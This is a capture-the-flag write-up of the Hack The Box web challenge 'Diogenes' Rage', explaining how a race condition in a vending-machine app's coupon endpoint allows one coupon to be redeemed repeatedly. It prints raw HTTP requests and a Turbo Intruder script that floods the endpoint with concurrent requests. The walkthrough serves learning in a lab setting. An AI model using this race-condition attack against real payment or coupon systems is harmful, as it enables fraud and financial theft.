Hack The Box - Diogenes' Rage

March 27, 2023

diogenes' rage

Diogenes' Rage is a web challenge featuring a vending machine application that enables users to purchase items using a coupon worth $1.00 that can be applied only once. Upon viewing the code, it becomes clear that the goal of the challenge is to purchase the C8 item to obtain the flag. However, the price of the C8 item is $13.37 and the vending machine only allows a user to purchase an item worth up to $1.00 (with the coupon).

Further analysis of the code shows that it's vulnerable to a race condition. This vulnerability can be exploited to send many concurrent requests to the server to apply the coupon, which adds to the user's balance. This balance can then be used to purchase the C8 item and reveal the flag.

Starting the docker instance and visiting the web page:

game page

When a new user is created, a balance column will be added within the userData table:

database.js

The code for the /api/purchase route shows how to find the flag:

/api/purchase

The /api/coupons/apply endpoint can potentially create a race condition because the code is making asynchronous database calls to read, modify, and update user data without any locking mechanisms. This creates an opportunity for multiple concurrent requests to be made which could result in multiple additions to the user's balance using the same coupon code before the database has a chance to register the initial coupon request and invalidate it.

/api/coupons/apply

When a request is made to redeem a coupon, it is then sent to the database to update the user's balance using the addBalance method from the Database class:

addBalance

If multiple concurrent requests to /api/coupons/apply happen at the same time to redeem the HTB_100 coupon, then many of those requests could potentially execute the addBalance method.

So, I made an initial request in Burp Suite to obtain a session cookie by sending the following request:

POST /api/purchase HTTP/1.1
Host: 144.126.236.158:30114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://144.126.236.158:30114/
Content-Type: application/json
Origin: http://144.126.236.158:30114
Content-Length: 13
Connection: close

{
    "item":"C8"
}

The response returned "Insufficient balance!", which was expected, but it also returned a session cookie in the form of a JWT. I took that JWT and used Turbo Intruder to send a request to the /api/coupons/apply route:

POST /api/coupons/apply HTTP/1.1
Host: 144.126.236.158:30114
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://144.126.236.158:30114/
Content-Type: application/json
Origin: http://144.126.236.158:30114
Content-Length: 25
Cookie: session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InR5bGVyX2I2ODJiNzM3NzQiLCJpYXQiOjE2Nzk4OTM5OTN9.FduhLTUxPvMizyUhFvfOGZ9hl2ZagLqb9lFBep9kycE
Connection: close

{
    "coupon_code":"%s"
}

%s is the placeholder for the payload of HTB_100 that will be sent as concurrent requests.

Next, within the Turbo Intruder configuration, I used the basic.py script:

def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint,
                           concurrentConnections=5,
                           requestsPerConnection=100,
                           pipeline=False
                           )

    for i in range(3, 8):
        engine.queue(target.req, randstr(i), learn=1)
        engine.queue(target.req, target.baseInput, learn=2)

    for word in open('/home/kali/Desktop/HTB_100.txt'):
        engine.queue(target.req, word.rstrip())

def handleResponse(req, interesting):
    if interesting:
        table.add(req)

The above script will make a specified number of concurrent connections and requests per connection to the endpoint of /api/coupons/apply. Then, it will read from a wordlist and add a request for each word in the list, in this case the wordlist will contain several lines of HTB_100. I suggest experimenting with the number of concurrent connections, requests per connection, and length of the wordlist containing HTB_100 to achieve the desired result.

I ran the attack in Turbo Intruder and although there were some 401 errors returned in the responses, many of them also got through with a 200 response and successfully added to the user's balance.

Next, I attempted to purchase the C8 item and the flag was returned in the response. This is because the concurrent requests were sent to the server to access a shared resource and compete for it in an uncontrolled manner which created a race condition and allowed the HTB_100 coupon to be applied multiple times, resulting in a continuous addition to the balance well over the required amount of $13.37 to purchase the C8 item.

flag


CTF Writeups | InfoSec Topics

Written by Mike Garrity

Email RSS